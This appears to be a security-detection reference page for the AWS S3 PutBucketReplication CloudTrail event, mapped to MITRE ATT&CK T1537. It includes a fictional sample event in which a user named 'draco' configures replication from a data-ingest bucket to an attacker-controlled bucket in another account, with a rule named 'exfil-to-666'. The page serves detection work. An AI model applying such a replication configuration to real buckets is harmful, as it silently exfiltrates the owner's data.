PutBucketReplication

AWS

PutBucketReplication

service: AWS - S3

tactics:

Exfiltration

techniques:

T1537

tags:

AWS S3

Event

Enables replication for an S3 bucket, automatically copying objects to a destination bucket in the same or another region.

Security Context

Transferring data to external cloud accounts or regions can bypass network-based data loss prevention controls and exfiltrate large volumes of data.

Log Source

CloudTrail

Sample Event

Adversarial — exfiltration (continuous). Draco enables S3 replication from fantasticlogs-occamy-ingest (the OCCAMY ingest bucket — fresh data flowing in continuously) to the adversary-controlled bucket draco-exfil-bucket-666 in account 555666661337. Once configured, every new object written to OCCAMY is silently mirrored to the adversary’s account. Unlike CopyObject exfil this leaves a small one-time control-plane footprint and then continuous data-plane events go to the destination, not the source. T1537.

{
  "eventVersion": "1.09",
  "userIdentity": {
    "type": "IAMUser",
    "principalId": "AIDADRAC0MALF0YBADGY",
    "arn": "arn:aws:iam::555123456789:user/draco",
    "accountId": "555123456789",
    "accessKeyId": "AKIADRAC0MALF0YEXAMP5",
    "userName": "draco",
    "sessionContext": {
      "attributes": {
        "creationDate": "2026-04-15T21:42:08Z",
        "mfaAuthenticated": "false"
      }
    }
  },
  "eventTime": "2026-04-15T23:48:07Z",
  "eventSource": "s3.amazonaws.com",
  "eventName": "PutBucketReplication",
  "awsRegion": "us-east-1",
  "sourceIPAddress": "203.0.113.66",
  "userAgent": "[aws-cli/1.18.147 Python/3.7.10 Linux/5.4.0-1045-aws botocore/1.18.6]",
  "requestParameters": {
    "bucketName": "fantasticlogs-occamy-ingest",
    "Host": "fantasticlogs-occamy-ingest.s3.amazonaws.com",
    "replication": [
      ""
    ],
    "ReplicationConfiguration": {
      "xmlns": "http://s3.amazonaws.com/doc/2006-03-01/",
      "Role": "arn:aws:iam::555123456789:role/draco-replication-role",
      "Rule": [
        {
          "ID": "exfil-to-666",
          "Status": "Enabled",
          "Priority": 1,
          "Filter": {
            "Prefix": ""
          },
          "DeleteMarkerReplication": {
            "Status": "Disabled"
          },
          "Destination": {
            "Bucket": "arn:aws:s3:::draco-exfil-bucket-666",
            "Account": "555666661337",
            "AccessControlTranslation": {
              "Owner": "Destination"
            }
          }
        }
      ]
    }
  },
  "responseElements": null,
  "requestID": "90000000-0000-4000-8000-000101101000",
  "eventID": "90000000-0000-4000-8000-000101101001",
  "readOnly": false,
  "resources": [
    {
      "accountId": "555123456789",
      "type": "AWS::S3::Bucket",
      "ARN": "arn:aws:s3:::fantasticlogs-occamy-ingest"
    }
  ],
  "eventType": "AwsApiCall",
  "managementEvent": true,
  "recipientAccountId": "555123456789",
  "eventCategory": "Management",
  "tlsDetails": {
    "tlsVersion": "TLSv1.3",
    "cipherSuite": "TLS_AES_128_GCM_SHA256",
    "clientProvidedHostHeader": "fantasticlogs-occamy-ingest.s3.amazonaws.com"
  }
}

MITRE ATT&CK Mapping

Tactics: Exfiltration

Techniques:

T1537 — Transfer Data to Cloud Account — Adversaries may exfiltrate data by transferring the data, including through sharing/syncing and creating backups of cloud environments, to another cloud account they control on the same service.

PutBucketReplication

Event

Security Context

Log Source

Sample Event

MITRE ATT&CK Mapping

Related Events